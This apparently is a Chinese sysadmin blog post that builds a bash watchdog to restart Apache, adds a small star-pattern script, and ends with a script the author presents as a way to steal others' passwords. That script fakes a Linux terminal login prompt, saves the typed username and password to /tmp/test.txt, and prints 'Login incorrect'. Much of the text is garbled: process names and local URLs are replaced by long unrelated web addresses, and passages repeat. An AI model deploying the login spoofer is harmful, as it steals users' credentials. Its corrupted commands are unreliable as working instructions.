apache服务监控脚本-----自动重启apache的办法

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[root@localhost shell]# vi apache_monitor.sh #!/bin/bash while [ 1 ] do wget https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564243.html > /dev/null 2>&1 if [ $? -ne 0 ] then service apache restart >/dev/null 2>&1 else wt=`cat a.html` if [ $wt != 'OK' ] then service apache restart > /dev/null 2>&1 fi fi sleep 2 done [root@localhost shell]# cat /www/a.html OK [root@localhost ~]# lsof -i:80 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244 32105 root 3u IPv4 409340 TCP *:https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245 (LISTEN) https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244 32109 daemon 3u IPv4 409340 TCP *:https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245 (LISTEN) https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244 32111 daemon 3u IPv4 409340 TCP *:https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245 (LISTEN) https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244 32113 daemon 3u IPv4 409340 TCP *:https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245 (LISTEN) [root@localhost ~]# killall https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244 [root@localhost ~]# lsof -i:80 [root@localhost ~]# lsof -i:80 在我杀死https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244进程的大概一两秒时间内，apache服务没有起来，但是很快就可以了，如果是在实际生产中，可以把脚本中的sleep时间改成1. COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244 618 root 3u IPv4 411612 TCP *:https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245 (LISTEN) [root@localhost ~]# lsof -i:80 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244 618 root 3u IPv4 411612 TCP *:https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245 (LISTEN) https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244 623 daemon 3u IPv4 411612 TCP *:https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245 (LISTEN) https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244 625 daemon 3u IPv4 411612 TCP *:https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245 (LISTEN) https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244 627 daemon 3u IPv4 411612 TCP *:https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245 (LISTEN) [root@localhost ~]# cd /shell/ [root@localhost shell]# ls access.log a.html.176 a.html.254 a.html.332 a.html.410 a.html a.html.177 a.html.255 a.html.333 a.html.411 a.html.1 a.html.178 a.html.256 a.html.334 a.html.412 a.html.10 a.html.179 a.html.257 a.html.335 a.html.413 a.html.100 a.html.18 a.html.258 a.html.336 a.html.414 a.html.101 a.html.180 a.html.259 a.html.337 a.html.415 a.html.102 a.html.181 a.html.26 a.html.338 a.html.416 a.html.103 a.html.182 a.html.260 a.html.339 a.html.417 a.html.104 a.html.183 a.html.261 a.html.34 a.html.418 a.html.105 a.html.184 a.html.262 a.html.340 a.html.419 a.html.106 a.html.……………… 我擦，发现爆表了，忘记了，脚本还没有完善，需要把这东西全干掉而且我还想要记录apache的重启时间和次数，所以还需要更改脚本 #!/bin/bash while [ 1 ] do wget https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564243.html > /dev/null 2>&1 if [ $? -ne 0 ] then service apache restart >/dev/null 2>&1 echo "apache restart at `date +%y-%m-%d %H:%M:%S`" >> times.txt else wt=`cat a.html` if [ $wt != 'OK' ] then service apache restart > /dev/null 2>&1 echo "apache restart at `date +%y-%m-%d %H:%M:%S`" >> times.txt fi fi rm -rf a.html sleep 2 done 然后我开始做测试 [root@localhost shell]# cat times.txt [root@localhost shell]# killall https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244 [root@localhost shell]# cat times.txt [root@localhost shell]# cat times.txt apache restart at 13-10-15 17:47:27 [root@localhost shell]# killall https://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564245s://www.herecours.com/d/file/efpub/2026/26-26/20260226094750564244 [root@localhost shell]# cat times.txt apache restart at 13-10-15 17:47:27 apache restart at 13-10-15 17:47:40 然后我去改a.html的内容 [root@localhost www]# cat a.html OKiii ----------内容不是OK后，脚本两秒钟自动重新下载一次 [root@localhost shell]# tail -f times.txt apache restart at 13-10-15 17:47:27 apache restart at 13-10-15 17:47:40 apache restart at 13-10-15 17:48:18 apache restart at 13-10-15 17:48:20 apache restart at 13-10-15 17:48:22 apache restart at 13-10-15 17:48:24 apache restart at 13-10-15 17:48:26 apache restart at 13-10-15 17:48:28 apache restart at 13-10-15 17:48:30 apache restart at 13-10-15 17:48:32 apache restart at 13-10-15 17:48:34 apache restart at 13-10-15 17:48:37 apache restart at 13-10-15 17:48:39 apache restart at 13-10-15 17:48:41 apache restart at 13-10-15 17:48:43 apache restart at 13-10-15 17:48:45 apache restart at 13-10-15 17:48:47 apache restart at 13-10-15 17:48:49 apache restart at 13-10-15 17:48:51 [root@localhost shell]# 当我改回来后，脚本停止日志输出，想要知道apache重启了多少次 [root@localhost shell]# wc -l times.txt | cut -d" " -f1 19 #################################################### 顺便写了几个简单的脚本，觉得很有意思 #!/bin/bash a=1 b=5 while [ $a -le $b ] do c=1 while [ $c -le $a ] do echo -n * let c++ done let a++ echo done [root@localhost shell]# ./1.sh * ** *** **** ***** 写一个简单的脚本，来套取别人的账号密码 #!/bin/bash clear cat /etc/issue| head -1 echo -e `uname -r` "on an" `uname -m` echo -e -n `hostname | cut -d . -f1` "login:" read aa echo "passwd:" read -s bb echo -n "username:$aa password:$bb" >/tmp/test.txt sleep 3 echo -e "" echo "Login incorrect" pid=` ps aux | grep 2.sh | grep bash | awk '{print $2}'` kill -9 $pid while [ $a -le $b ] do c=1 while [ $c -le $a ] do echo -n * let c++ done let a++ echo done [root@localhost shell]# ./1.sh * ** *** **** ***** 写一个简单的脚本，来套取别人的账号密码 #!/bin/bash clear cat /etc/issue| head -1 echo -e `uname -r` "on an" `uname -m` echo -e -n `hostname | cut -d . -f1` "login:" read aa echo "passwd:" read -s bb echo -n "username:$aa password:$bb" >/tmp/test.txt sleep 3 echo -e "" echo "Login incorrect" pid=` ps aux | grep 2.sh | grep bash | awk '{print $2}'` kill -9 $pid 运行效果如下 Red Hat Enterprise Linux Server release 5.5 (Tikanga) 2.6.18-194.el5 on an i686 localhost login: 运行效果如下 Red Hat Enterprise Linux Server release 5.5 (Tikanga) 2.6.18-194.el5 on an i686 localhost login:
[root@localhost ~]# cat /tmp/test.txt username:root password:asdf

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